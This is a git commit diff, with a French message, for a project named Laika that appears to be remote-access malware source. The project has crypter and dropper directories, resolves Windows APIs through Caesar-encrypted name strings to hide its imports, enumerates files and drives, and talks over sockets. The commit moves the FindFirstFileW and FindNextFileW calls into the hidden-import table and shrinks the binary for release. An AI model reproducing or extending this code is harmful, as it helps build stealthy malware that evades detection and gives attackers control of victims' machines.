code optimisé, debug mode créé

passé de 12ko à 9ko en Release

.gitignore

@@ -1,7 +1,8 @@
 #le crypter est en WIP, pas sûr de le faire jusqu'au bout, peut-être faire un obfuscateur à la place
 .vim
 Laika/.vs
-Laika/release
+Laika/Release
+Laika/Debug
 Crypter/.vs
 Crypter/x64
 Dropper/

Laika/Laika.vcxproj

@@ -28,7 +28,7 @@
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>true</UseDebugLibraries>
+    <UseDebugLibraries>false</UseDebugLibraries>
     <PlatformToolset>v143</PlatformToolset>
     <CharacterSet>Unicode</CharacterSet>
   </PropertyGroup>
@@ -71,7 +71,8 @@
   </ImportGroup>
   <PropertyGroup Label="UserMacros" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <LinkIncremental>true</LinkIncremental>
+    <LinkIncremental>false</LinkIncremental>
+    <GenerateManifest>false</GenerateManifest>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>false</LinkIncremental>
@@ -87,19 +88,6 @@
     <VcpkgEnabled>false</VcpkgEnabled>
   </PropertyGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <SDLCheck>true</SDLCheck>
-      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <ConformanceMode>true</ConformanceMode>
-      <LanguageStandard>stdcpp20</LanguageStandard>
-    </ClCompile>
-    <Link>
-      <SubSystem>Console</SubSystem>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <ClCompile>
       <WarningLevel>Level3</WarningLevel>
       <FunctionLevelLinking>true</FunctionLevelLinking>
@@ -122,6 +110,38 @@
       <EntryPointSymbol>main</EntryPointSymbol>
       <StackReserveSize>
       </StackReserveSize>
+      <GenerateMapFile>true</GenerateMapFile>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>false</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp20</LanguageStandard>
+      <Optimization>MinSpace</Optimization>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+      <BufferSecurityCheck>false</BufferSecurityCheck>
+      <CompileAs>CompileAsC</CompileAs>
+      <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+      <OmitFramePointers>true</OmitFramePointers>
+      <WholeProgramOptimization>true</WholeProgramOptimization>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
+      <EntryPointSymbol>main</EntryPointSymbol>
+      <StackReserveSize>
+      </StackReserveSize>
+      <AdditionalOptions>/LTCG %(AdditionalOptions)</AdditionalOptions>
+      <GenerateMapFile>true</GenerateMapFile>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">

Laika/file_explorer.c

@@ -29,7 +29,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
 
     wcscat(searchPath, L"\\*.*");
 
-    hFind = FindFirstFile(searchPath, &findData);
+    hFind = Api.FindFirstFileW(searchPath, &findData);
     if (hFind == INVALID_HANDLE_VALUE) {
         return NULL;
     }
@@ -59,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
         fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
         Api.strcpy(fileList[numFound], CAESAR(fileName));
         numFound++;
-    } while (FindNextFile(hFind, &findData) != 0);
+    } while (Api.FindNextFileW(hFind, &findData) != 0);
 
     Api.FindClose(hFind);
 

Laika/main.c

@@ -446,10 +446,10 @@ retry:
 			}
 		}
 	}
-
+	/* Never called
 	Api.closesocket(sock);
 
 	FreeApis();
-
+	*/
 	return 0;
 }

Laika/resolve_apis.c

@@ -12,8 +12,8 @@ void InitApis() {
 		return;
 	}
 
-	Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
 	Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
+	Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
 	Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
 	Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
 	Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
@@ -29,6 +29,8 @@ void InitApis() {
 	Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
 	Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
 	Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
+	Api.FindFirstFileW = (TFindFirstFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiKnwxyKnqj\\"));
+	Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
 
 	hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
 	if (!hMsvcrt) {
@@ -72,8 +74,10 @@ void InitApis() {
 	Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
 }
 
+/* Never called
 void FreeApis() {
 	Api.FreeLibrary(hWininet);
 	Api.FreeLibrary(hMsvcrt);
 	Api.FreeLibrary(hKernel32);
-}
+}
+*/

Laika/resolve_apis.h

@@ -55,6 +55,8 @@ typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
 typedef BOOL(WINAPI* TFindClose)(HANDLE);
 typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
 typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
+typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
+typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
 
 typedef struct ApiList {
 	Tconnect connect;
@@ -91,6 +93,8 @@ typedef struct ApiList {
 	TFindClose FindClose;
 	TGetLogicalDrives GetLogicalDrives;
 	TMultiByteToWideChar MultiByteToWideChar;
+	TFindFirstFileW FindFirstFileW;
+	TFindNextFileW FindNextFileW;
 
 	Tmbstowcs mbstowcs;
 	Twcstombs wcstombs;
@@ -110,4 +114,4 @@ typedef struct ApiList {
 } API;
 
 void InitApis();
-void FreeApis();
+//void FreeApis(); Never called